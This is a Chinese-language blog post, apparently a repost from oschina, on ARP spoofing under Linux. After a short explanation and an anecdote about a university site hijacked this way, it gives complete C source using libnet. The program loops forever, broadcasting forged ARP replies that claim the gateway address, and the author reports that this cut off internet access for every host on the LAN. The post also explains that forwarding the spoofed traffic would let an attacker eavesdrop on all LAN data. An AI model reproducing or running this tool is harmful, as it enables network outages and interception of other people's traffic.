Linux下使用libnet實現ARP攻擊
用libnet寫了個簡單的ARP攻擊。以前感覺ARP攻擊不是特別常見,不過最近工作中倒是遇到過兩次ARP欺騙的事件。其實ARP欺騙的原理灰常簡單滴,大部分都是在局域網中發送偽造的ARP廣播包, 廣播包的目的是干嘛呢?很簡單,欺騙內網的所有主機,告訴受害主機,“我”是網關。 內網機器接收到這種廣播包之后,會刷新自己ARP緩存表,把網關的IP和廣播包中的源MAC綁定。這樣攻擊機器就達到了冒充網關的目的。
上次一所大學就是被ARP欺騙攻擊,他們的學校主頁一打開就會跳出其他很多亂七八糟的頁面,,,,當時查看他們WEB服務器的源代碼,發現沒有被插入這些<iframe>會彈頁面的代碼,但是用瀏覽器外網訪問的時候,這些代碼就出現了,很明顯網站的返回的客戶端數據在途中被劫持修改了(插入了一些代碼)。
下面實現的就比較簡單了,只做欺騙,不做轉發,導致的后果就是局域網所有主機會斷網。測試了一下,內網主機會無法上網,安了360ARP防護的會報警,能上網,就是網速有點慢,但是識別出了的攻擊主機好像不準確,試了幾次都識別成正常的電腦在攻擊,不知道360這個識別是不是通過源MAC地址識別還是怎么識別。
#include "arp.h" int main(int argc,char **argv){ libnet_t *l; int i,packet_size; //發送的數據包的長度 libnet_ptag_t arp_tag,ether_tag; char *device="eth0"; char err_buf[LIBNET_ERRBUF_SIZE]; char *destion_ip_str = "255.255.255.255"; char *source_ip_str = "192.168.1.1"; u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84}; u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff}; u_int32_t source_ip,destion_ip; //將字符形式ip轉換為網絡字節序 source_ip = libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE); destion_ip = libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE); //初始化libnet句柄 l = libnet_init(LIBNET_LINK,device,err_buf); if(l == NULL){ printf("初始化libnet句柄失敗:%s\n",err_buf); exit(-1); } arp_tag = libnet_build_arp( ARPHRD_ETHER, //硬件地址類型,此處為以太網類型 ETHERTYPE_IP, //協議地址類型 6, 4, ARPOP_REPLY, //ARP應答 source_hardware, (u_int8_t *)&source_ip, destion_hardware, (u_int8_t *)&destion_ip, NULL, //無負載 0, //負載長度為0 l, 0 //協議塊標記,為0,表示新建協議塊 ); ether_tag = libnet_build_ethernet( (u_int8_t *)&destion_hardware, (u_int8_t *)&source_hardware, ETHERTYPE_ARP, NULL, 0, l, 0 ); i = 0; while(1){ packet_size = libnet_write(l); //發送構造的ARP數據包 usleep(10); i++; } printf("數據包長度為:%d\n",packet_size); libnet_destroy(l); return 0; }目標MAC為廣播地址,全0xff就行,源MAC地址可以為本機MAC或者隨便偽造的MAC(在程序中獲取本機MAC可用ioctl函數,最近在寫DDOS攻擊程序就是用ioctl獲取本機MAC和IP的),注意ARP包類型為ARPOP_REPLY(應答包)。
如果不想弄斷網,只進行欺騙的話,數據發送過來之后,要進行轉發到正確的網關,這樣就保證內網網絡正常,而且所有數據都被監聽了
來自:http://my.oschina.net/jiyufei/blog/179494
本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!